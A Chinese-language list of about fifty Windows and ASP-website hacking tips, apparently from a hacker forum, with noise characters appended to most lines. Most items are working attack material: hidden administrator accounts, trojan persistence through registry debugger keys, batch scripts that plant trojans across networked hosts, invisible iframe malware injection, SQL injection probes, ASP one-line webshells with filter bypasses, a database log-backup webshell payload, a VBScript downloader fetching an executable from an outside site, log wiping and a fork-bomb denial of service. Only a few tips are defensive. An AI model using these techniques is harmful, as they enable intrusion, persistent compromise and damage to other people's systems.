Xp系统修改权限防止病毒或木马等破坏系统,cmd下,& B( p- l9 V. N- j; X
cacls C:\windows\system32 /G hqw20:R" G2 R, `- \% a' T
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入9 i* ]5 c, K/ h1 n( l
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F7 W+ N# j6 [6 _: S* ^' a0 W+ d
- a! S1 P4 G2 j4 s3 P) W# Q" E/ M$ c2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。- Y8 F. Y, P4 E9 i
* H8 h* v9 S/ @2 M* B0 e! P* s4 N4 E
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。, i& m( H, z: F5 D7 q; d e! G
* ]1 O( v2 s$ {3 h+ @ T
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
' {( V- A g* J% T5 `; R' x/ ?0 @. \$ T* t# B1 a
5、利用INF文件来修改注册表
3 d/ i4 V5 c/ M( M7 U9 q[Version]
% }! h" G7 J0 V+ p9 ] ~; o8 VSignature="$CHICAGO$"9 S2 K4 d5 Q" o3 ~9 ?
[Defaultinstall]
3 I* [1 a& j$ { C) i: ~addREG=Ating* j3 H) z' z5 ?: R L
[Ating]
" e; Z/ Z" t I8 GHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"3 E! t5 U; l* H
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:3 B' [1 _# u/ X* D2 ^6 O t3 v }! j
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
8 d* a, N# ^3 `1 i; I' j8 B其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU% p: A k% Z. B- A) b! b
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU; u/ ?, f6 h, \, P& k" H4 e4 u( |
HKEY_CURRENT_CONFIG 简写为 HKCC
# u3 F3 T1 u: n9 _& o0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值
1 |/ `( O: C7 A6 N! \"1"这里代表是写入或删除注册表键值中的具体数据& b q; L6 t6 Q( y/ z6 X
! `1 Y9 K# X6 p( g8 a+ |6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
" Y- i! C1 L# C- B1 S! \多了一步就是在防火墙里添加个端口,然后导出其键值
- M+ k+ k/ u) t5 q[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]" |4 k7 U6 h. g1 V
% h- \9 g5 a `5 o/ H/ G7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽) M5 Q! x+ I/ y' W$ C
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。( q8 [3 o* F4 @8 `& z8 ~4 L( L9 d
K+ c2 A6 G: @" F" K) O3 z9 C' i" ]
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
: F- ~8 y9 \+ p- \# T* _6 m3 B) m" C) o
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,1 N# u$ t; }( O' m1 h. }
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。4 U4 | p6 ?* p
) x, ?. P4 L) c$ ^: d4 ?4 M
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”
' A4 G: W; k$ Q( ]4 q
8 z: l U+ [3 t, j# W11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
) `3 \/ v- P$ @7 G$ U4 o1 F z用法:xsniff –pass –hide –log pass.txt
' c8 A+ l3 p& q. q9 T, @0 ]$ H
0 q* m# i4 j5 F' u" C& d3 L* M* e: w& D12、google搜索的艺术' }7 H4 H% _+ v) j7 Y
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”
$ e9 l& F& E2 A8 E或“字符串的语法错误”可以找到很多sql注入漏洞。8 O& m; g$ c( J( w8 R3 D3 p
% ~: M9 Z9 K+ U# v3 _13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。9 }# [% z4 b$ C. Z" r
+ `! Z6 Z, N+ V" t" v a2 i) x2 E14、cmd中输入 nc –vv –l –p 1987! C- ^! @# u8 i& u& y
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃
3 U! f7 H, n/ s& }* o# p+ ^, \
% b7 J# A( C& X( @, d9 Z15、制作T++木马,先写个ating.hta文件,内容为) N0 i0 F! ]1 |: V( M: b
<script language="VBScript">
. D, b, z( {3 c! bset wshshell=createobject ("wscript.shell" )5 t; i1 d- H) U2 l/ Y( a
a=wshshell.run("你马的名称",1)- N& e& y* @0 O2 H' Z% w; X
window.close
/ ?2 x3 I. d7 Z5 _9 T</script>
; P5 Y) q0 |0 u再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
: u! r- n/ h2 B% D; M
1 T- u7 o) F* P16、搜索栏里输入7 w s# p7 e+ k/ y# f, T
关键字%'and 1=1 and '%'='
. ~3 C; T* f! D6 s2 N关键字%'and 1=2 and '%'='
% W; i0 X& I7 h) ^& O ]比较不同处 可以作为注入的特征字符$ }& R3 W/ F1 t2 {( c
4 P: t; s4 c, i0 l4 a G/ f17、挂马代码<html>
1 @; C9 m- H9 j: v<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
4 b4 |! a8 M. X</html>
p8 N; Y* t- H5 K/ y' e' O" f1 ]8 U$ M
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,/ g. N4 J- e6 `8 }+ f- m
net localgroup administrators还是可以看出Guest是管理员来。
3 F" p- ^3 z! m# j- i: d L7 C% i- O* M+ r* l1 y q
19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等, G9 n) U5 @. h
用法: 安装: instsrv.exe 服务名称 路径- A: }) f: t7 O
卸载: instsrv.exe 服务名称 REMOVE
A+ s9 x! O8 V+ [: u" @
. t4 h6 l* C. J5 I* I8 _3 a
& c8 d8 M0 c! e21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉5 i: |- c/ H" B# W# g% Q; n% j
不能注入时要第一时间想到%5c暴库。
3 ]9 ?# Q6 |1 n" Q$ M- e+ Z. Y X0 f5 k
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~
* j& v" F7 d* H" G
9 \, U" M4 c: N23、缺少xp_cmdshell时
3 O: s4 ]% i. ^+ M* ]1 w+ Q& B( u尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
" W5 Q! Q) m$ t) g假如恢复不成功,可以尝试直接加用户(针对开3389的)" P7 u' T( ^" H5 L+ i
declare @o int d$ Y2 @& k4 C5 k* e/ M
exec sp_oacreate 'wscript.shell',@o out
: G( M; i: T! u3 L+ N( e4 Z. Y/ ?exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员, V, s- I1 u. H
& M1 F, _$ B0 ?3 j24.批量种植木马.bat6 m R( M+ a+ ?+ j- B, p6 L- T/ R
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中! M( h3 V' U p
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间8 a( F1 M7 a: F7 z5 H9 O% a7 I
扫描地址.txt里每个主机名一行 用\\开头
( y; ^% [* b7 O6 C7 }: o/ s3 Q \- d, l# }
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
- o* ?5 T3 {6 D( M l; P; X9 p' o9 B
5 f* u4 F, P0 S* q26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
, {' D; C: h) l i( _$ O将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
- E7 |9 B x; n0 p: H# L.cer 等后缀的文件夹下都可以运行任何后缀的asp木马5 D. q5 I: w& I1 E7 O+ O
+ X& }. _2 I6 f: ^& f; u2 n27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP* L3 d* A& M3 z E
然后用#clear logg和#clear line vty *删除日志5 t; U" X0 g' i$ ~4 @
. o# v5 u; v" S9 a! C
28、电脑坏了省去重新安装系统的方法
* V O! D* Y6 s8 _( H9 ~纯dos下执行,/ }- y+ [: t! h& t9 ]# Y4 @5 [
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
9 n3 k5 J# N, v& Q7 s3 ]+ W2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config. {9 e5 v. x, @4 ^6 V
, w0 C( z' F' ^4 @# g2 j; r3 J# j5 ^
29、解决TCP/IP筛选 在注册表里有三处,分别是:% L& u) c- o. L5 X, K- G
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip( C* a: t2 G8 V
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ @0 w1 W% W( P4 s! M* a) B/ ?HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 ]2 K% a, g2 Q5 l0 O7 ?分别用* D6 T1 m, U: M* p& n% v+ V
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ f# Q) |1 W/ C" _: W1 ^# Tregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
# H) y- M+ t# X7 tregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip3 I; E7 G/ h" K3 J
命令来导出注册表项
/ `* {$ I8 \/ L然后把三个文件里的EnableSecurityFilters"=dword:00000001,
) `, k% X* ^0 f8 a6 `9 O! v* K改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用3 [4 u0 X7 \ Z" u
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。# ~% c' Z! A' w/ J5 Y; V% a. h( f
' o; H: q q8 I/ {
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
W1 m% A7 j3 A% ^% X. J4 y: `2 JSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3+ ^" k! `/ D1 m6 t5 R! ^& X
+ f' M8 a. u( M: x) U
31、全手工打造开3389工具1 U. I4 T! e9 P9 H8 l/ y. M$ I
打开记事本,编辑内容如下:" i/ o, A/ k3 ^
echo [Components] > c:\sql
% |+ n9 R& h( i8 \+ O) mecho TSEnable = on >> c:\sql& r# U1 S6 \6 T- |" \7 o0 ^
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
, i; V; I. x& S; x. e/ A) U编辑好后存为BAT文件,上传至肉鸡,执行7 y+ m6 x& t- b" v! E
' m0 l5 M, p6 n) m0 \0 {
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
. N% h6 K, s* @% t1 Y9 d
& Y5 r- S0 @4 l" F- W( L33、让服务器重启# ]2 k+ u! e2 u" |/ S* |' Q
写个bat死循环:- V& i3 @7 P! T" W
@echo off- |( [ e; T% N. N, b( [
:loop1
7 o0 g9 m$ N+ `" ^. [cls& M- H' p$ T+ q
start cmd.exe
9 x7 ]2 M6 t3 O/ h0 K$ Cgoto loop1 [; }) ^$ ^7 I7 R
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启2 d6 g3 u8 ]- |/ I7 g2 ~) |, e
6 {. r( l8 J# `8 }3 j5 g& z
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
, M" L" _) v( K6 I/ E+ k& A@echo off
8 G( ~0 [7 W1 M9 s* n9 N! vdate /t >c:/3389.txt
. @+ ]7 b a+ ^# f4 k5 B" ktime /t >>c:/3389.txt$ j: |4 ^! ^2 a( }1 a
attrib +s +h c:/3389.bat
3 C% {- M4 F0 battrib +s +h c:/3389.txt
( E. a; M' t6 p8 z( l2 anetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
$ Q( u0 e' B$ x$ _5 [$ E7 Y并保存为3389.bat& O! J9 J' {2 H1 ?; A1 O
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号: p' L! s* ?) t4 o6 `; N
7 v4 `/ T0 {& M% U$ N) Z35、有时候提不了权限的话,试试这个命令,在命令行里输入:
% b$ ]% S4 n% w) R% ?4 Zstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页). [& v, ?) v+ ~6 X! V
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
9 ]/ r! c6 W+ b2 T2 ~& V# h6 H! s. h* D" T W/ P! u r
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件( Q% A; X1 _3 u. b6 {- G
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
1 `- ~. [0 Y; y! H" C2 \5 C* s& Becho 你的FTP账号 >>c:\1.bat //输入账号
4 b/ x5 G+ g- a+ P$ k# d- Recho 你的FTP密码 >>c:\1.bat //输入密码
+ p% \' X: {$ L# f6 t; jecho bin >>c:\1.bat //登入1 Q; _% P/ W) U9 J& g/ W
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么: n$ @6 S! c! ^8 N
echo bye >>c:\1.bat //退出/ v; [ N. ^2 |! ^( f; [1 |
然后执行ftp -s:c:\1.bat即可- }: w1 d* L- M4 G
+ `6 i) _% b6 f0 X! K2 w x! V
37、修改注册表开3389两法
8 z0 ?, H- A, C6 s! B3 |(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
- w6 r2 i4 H2 f0 cecho Windows Registry Editor Version 5.00 >>3389.reg6 }! |- K2 @4 U" o1 f4 {* d( U
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
% m% \& m& o, \/ Q8 Fecho "Enabled"="0" >>3389.reg6 x' e, _9 }4 b
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows S8 O8 K1 H, }( F H0 {. g
NT\CurrentVersion\Winlogon] >>3389.reg; @3 ?" N7 P L
echo "ShutdownWithoutLogon"="0" >>3389.reg7 G/ L1 g4 e% s3 I1 p
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]) V( b( B; `6 E2 E) T c
>>3389.reg& H z* } E5 d( N7 i* H2 v# L
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg) g1 \/ B, j# J C! M, U+ A7 [
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
8 o0 j6 y7 U! H3 j6 f9 f, e>>3389.reg
" f5 ]! u U; ^2 techo "TSEnabled"=dword:00000001 >>3389.reg
- A, e9 k3 a$ N: Uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
+ N2 U f. v0 ]* U! ~echo "Start"=dword:00000002 >>3389.reg) X* n: u# k! e2 \: I
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]; F, ]: D( z$ |$ n- v
>>3389.reg
6 P9 p+ V7 M" m5 ^0 ^8 d2 }: t* F$ techo "Start"=dword:00000002 >>3389.reg* ?+ I) _, A3 j
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg/ u& r, z, t0 L4 A5 `
echo "Hotkey"="1" >>3389.reg
# } X1 B. o( r; {echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
7 U. E: y) P, n0 g1 @Server\Wds\rdpwd\Tds\tcp] >>3389.reg
2 I. Y+ [7 \; m# d" r9 Wecho "PortNumber"=dword:00000D3D >>3389.reg
( l/ p+ a$ |5 A6 C" Kecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal$ }$ _' e" B/ w$ V) P
Server\WinStations\RDP-Tcp] >>3389.reg l& m, f& I0 |& o1 D, Y) z( q
echo "PortNumber"=dword:00000D3D >>3389.reg
3 n' {1 w. i8 X0 z) K把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。+ N9 u" R1 ^, M$ n) |
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
' E5 s* c3 |+ f0 l2 Z7 Q2 Z因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
) J# e6 s4 \* P6 G3 c% |(2)winxp和win2003终端开启
* O+ [6 S) E: `: t; }4 [用以下ECHO代码写一个REG文件:
9 ~, O' G1 T' v2 {. j2 z" E1 L( wecho Windows Registry Editor Version 5.00>>3389.reg
2 r2 B" m8 _. C- @% \echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal/ N" V- k$ ]8 H7 I. G
Server]>>3389.reg
+ n( P6 v3 o2 |) secho "fDenyTSConnections"=dword:00000000>>3389.reg
5 n0 r4 W& i1 H' _3 c) D: necho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
# h4 q# R7 @. d$ w! {' OServer\Wds\rdpwd\Tds\tcp]>>3389.reg
! h" H& Y' P! V. ~' Mecho "PortNumber"=dword:00000d3d>>3389.reg
, \7 {: V% u9 R/ ?5 T9 g- vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal1 R+ \5 h8 A0 _/ x* m- { G% O
Server\WinStations\RDP-Tcp]>>3389.reg
' q. u5 W H/ D: T$ G V* y. Uecho "PortNumber"=dword:00000d3d>>3389.reg
$ w5 n8 j' ^& m. K; _然后regedit /s 3389.reg del 3389.reg$ x* B1 c V; r& f+ Z9 Y0 G
XP下不论开终端还是改终端端口都不需重启
2 ?$ ?7 K% D4 M( R& R6 u8 m5 U
& h2 p' g2 r+ d38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃# {5 j8 p8 W( w& z/ n
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'* }# H1 }9 @3 p4 {$ p% @' n# h
6 R& c; k3 m% S( u! c3 H5 ?39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
! q$ v: g V+ w9 X(1)数据库文件名应复杂并要有特殊字符9 T8 e! T0 j: L
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源7 |/ a) s% A) [: ^8 c% r
将conn.asp文档中的6 M. w/ z6 G# f
DBPath = Server.MapPath("数据库.mdb")* M1 H d1 g6 G$ G l" E
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
& {+ x0 A2 G2 m1 I. [) u% e4 ^
' h. Q# e, e2 Z9 i% e) V修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置
; M; ~ v( z8 \; @( Q% V(3)不放在WEB目录里
' }: h+ W% i4 u
" Q+ I" r! f' D, P40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
# k! r: }0 q; o+ c. R' y. ?: f可以写两个bat文件$ B0 y3 D4 Q ^* O6 K5 F
@echo off
. q: j" A5 s& l3 B3 L* l1 Y@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
" \3 A2 F' V& y* F `0 u! O@del c:\winnt\system32\query.exe- `4 h7 f3 h5 B( W& n1 Q
@del %SYSTEMROOT%\system32\dllcache\query.exe
, d( Z5 x. M8 M% p@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的! ?; V5 j" j8 C ^5 J
8 o# Y) F+ x8 V( k2 V+ a@echo off4 r+ C4 _ s( ~" ?% C
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
0 |3 o9 l: E7 l* X$ v@del c:\winnt\system32\tsadmin.exe9 q- x, ]) l: s, x% h t& L; Z/ F
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex+ y8 K' V$ m, B
4 V u0 v7 x* g" D5 q$ I41、映射对方盘符; T6 d. ~6 Z+ _2 D
telnet到他的机器上,1 N. V0 O3 V& R/ N: ^# w, W6 J
net share 查看有没有默认共享 如果没有,那么就接着运行2 \* Z( }4 C9 Y0 Q1 B
net share c$=c:2 x" a$ g& s& m i
net share现在有c$
' l* [6 ^9 Z# ]) K在自己的机器上运行
4 Q0 Y6 E& P& M9 C+ V% Tnet use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K9 S; s! `) B- |1 q2 G
; S8 C+ `8 `* w& y2 F6 ~# w3 `& h
42、一些很有用的老知识
$ k+ Q) U( e% d$ e, y9 stype c:\boot.ini ( 查看系统版本 )0 V5 H; K$ K# d# U/ M
net start (查看已经启动的服务)( V) @ T4 N4 Y1 W5 m- t
query user ( 查看当前终端连接 )8 B( y; v( e* j/ f7 e2 B
net user ( 查看当前用户 )
/ a$ H; ~7 n4 {& z" B0 dnet user 用户 密码/add ( 建立账号 )7 o& M' ~# `3 n8 o) o) h
net localgroup administrators 用户 /add (提升某用户为管理员)
& D/ ~6 o3 Y0 l$ e. Y6 I5 sipconfig -all ( 查看IP什么的 )
/ d( M; U4 h. _. v9 a: h1 @- Wnetstat -an ( 查看当前网络状态 )/ @8 j- }9 S8 w" b9 b0 B7 {( R, l
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
R7 a* b8 C* d: m2 j" H3 F( |) w: i克隆时Administrator对应1F4/ R2 i7 A0 l9 g0 @6 g8 E; X: X
guest对应1F5: c/ Q1 E7 {+ x% E" m! y, d
tsinternetuser对应3E8
2 T* Z& m: O2 P% n. w4 D# i2 `# i% i: s( d2 \) ^
43、如果对方没开3389,但是装了Remote Administrator Service9 u) U3 a6 T1 Z8 ^; g
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
, f3 S3 W, p' y: B. t( o解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
9 `$ c, F; B. s) ?5 V先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
2 G' p% c& V. Z) |0 R- t7 S) Q7 n; T1 Y0 Q8 G- }
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)1 g6 ~' k: ~3 H1 B
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
9 q$ L8 H6 _& ^6 w6 L6 q( Q, O* e
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入); h5 b4 M) z5 C/ B1 I, H
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open( T: G$ A" J; w4 m
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =+ u1 O3 x% G1 v2 z: N3 A8 r4 P
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =" q2 }1 \/ P0 v! g* X
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs2 x& c3 B% y/ j G
(这是完整的一句话,其中没有换行符)
0 H; d, R, e# D* g然后下载:2 _+ Q/ O5 W5 a3 j+ n& d" Q
cscript down.vbs http://www.hack520.org/hack.exe hack.exe
9 R! g4 w3 d, E# g* v( h1 v# r1 [" P
- h( e2 ]+ ^8 Y+ v. |. ]46、一句话木马成功依赖于两个条件:9 T5 _. U2 B4 `$ k( n1 C3 u6 q
1、服务端没有禁止adodb.Stream或FSO组件
2 V; B, w5 d1 q; H2 m3 O' |/ L. N7 K& O$ o2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。8 F# n' g+ S" \4 e( d) U* E
( D2 a* b5 R! p; u7 v
47、利用DB_OWNER权限进行手工备份一句话木马的代码:
5 `3 O9 p' d: c2 H3 J;alter database utsz set RECOVERY FULL--/ L5 c8 L9 i( ]2 w6 }
;create table cmd (a image)--
# a& u3 B' h. u; \9 K;backup log utsz to disk = 'D:\cmd' with init--
2 p6 E2 I+ E8 _' z2 }7 D/ \6 w8 i;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--' V# `* c( p3 M5 Q2 L) e, t
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
" s. F7 l- h& }" K7 A+ ]' j注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。. ?9 U( \. ?: @2 E3 [( \. d
* C) C/ J7 r0 P$ `) S$ ^48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:- g2 k; D% h0 I) R- B& @
; R# n" L5 U3 B# y$ _
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options) B; y" A4 q5 [ @# U$ d0 R
所有会话用 'all'。4 M5 r4 H8 n: u* Q4 e3 M. L
-s sessionid 列出会话的信息。0 F. e) S4 o W& x1 n4 s4 u4 S
-k sessionid 终止会话。5 z. O, B: G0 v7 d7 e) o
-m sessionid 发送消息到会话。
# j4 P9 U( X$ l9 B$ N' P# M" ?- e3 ^' W/ u
config 配置 telnet 服务器参数。0 N T; x+ g3 y$ d( r/ J
7 n6 o2 u5 Q' e# V1 j. s, f | b
common_options 为:
* _2 I3 i& F' g9 u-u user 指定要使用其凭据的用户 D8 t( w- G0 D* Z
-p password 用户密码
& d4 L$ X1 t) v, L6 M
- z' z& H4 Y! J/ [: Gconfig_options 为:0 G& E" n+ d1 K. M: s K% i8 k8 A2 ~
dom = domain 设定用户的默认域2 c1 _% n# x) `: B
ctrlakeymap = yes|no 设定 ALT 键的映射8 K2 K j5 U8 U" s; L/ v" i
timeout = hh:mm:ss 设定空闲会话超时值" o* B# J6 e( d) f
timeoutactive = yes|no 启用空闲会话。! r4 B! J! N6 m6 @4 b' x: {
maxfail = attempts 设定断开前失败的登录企图数。
7 _: S! h p" D" Smaxconn = connections 设定最大连接数。0 `# W, B k" d5 I6 _
port = number 设定 telnet 端口。
' J% r8 C) e! \) Q, x0 B1 N$ {* ksec = [+/-]NTLM [+/-]passwd+ c2 r* \% K5 N% H# {
设定身份验证机构
2 o3 }; u9 a# } C* [) Ffname = file 指定审计文件名。
2 ~$ Q7 H. G0 pfsize = size 指定审计文件的最大尺寸(MB)。& E" d5 v& x- N
mode = console|stream 指定操作模式。1 b' T0 W$ R+ ?; W/ ^. I
auditlocation = eventlog|file|both
: L. }5 r+ R3 u( l1 o# u) d指定记录地点, W- E; X7 W2 K& u
audit = [+/-]user [+/-]fail [+/-]admin
8 A9 `. A6 _3 l2 B& c3 s$ z6 {7 @
& ]) `- m2 ]. Q7 T: m4 {9 a49、例如:在IE上访问:
/ J+ L' o6 M8 [9 j6 K; U( M( l9 Qwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/
( A, X" u$ o2 E% Thack.txt里面的代码是:6 n* y- t4 z! X1 I) D2 |3 `
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
4 p8 l" ^7 k1 O' ~4 V把这个hack.txt发到你空间就可以了!
$ q# m9 T: t5 j7 c: {这个可以利用来做网马哦!
1 b2 a) w ^3 N* c" M# @
3 N: o2 K$ v! x1 }5 M50、autorun的病毒可以通过手动限制!
, ~. ~; l" }3 ~" t% V0 ]' i1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
5 X# F$ X# ?5 P7 r' U2,打开盘符用右键打开!切忌双击盘符~
' Y5 ?" q2 a6 u1 o. |/ ?3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
3 Z% n7 ?+ _' i2 c. r% ^
3 k. f0 U1 w9 {. V) j! w! Y* r51、log备份时的一句话木马:
5 t8 X1 ]) q% v9 T. _0 _a).<%%25Execute(request("go"))%%25>2 \* d, ]+ ^: E. M! f' ~( g; @6 ~; B5 @
b).<%Execute(request("go"))%> R2 K' X7 q2 J( N1 i+ m+ D
c).%><%execute request("go")%><%" |. X' l7 w( O- r
d).<script language=VBScript runat=server>execute request("sb")</Script>3 a) D& s; L7 r" U
e).<%25Execute(request("l"))%25>
$ O/ Y% t; G# z# S* a* s; if).<%if request("cmd")<>"" then execute request("pass")%>
, j A) _+ ?% \
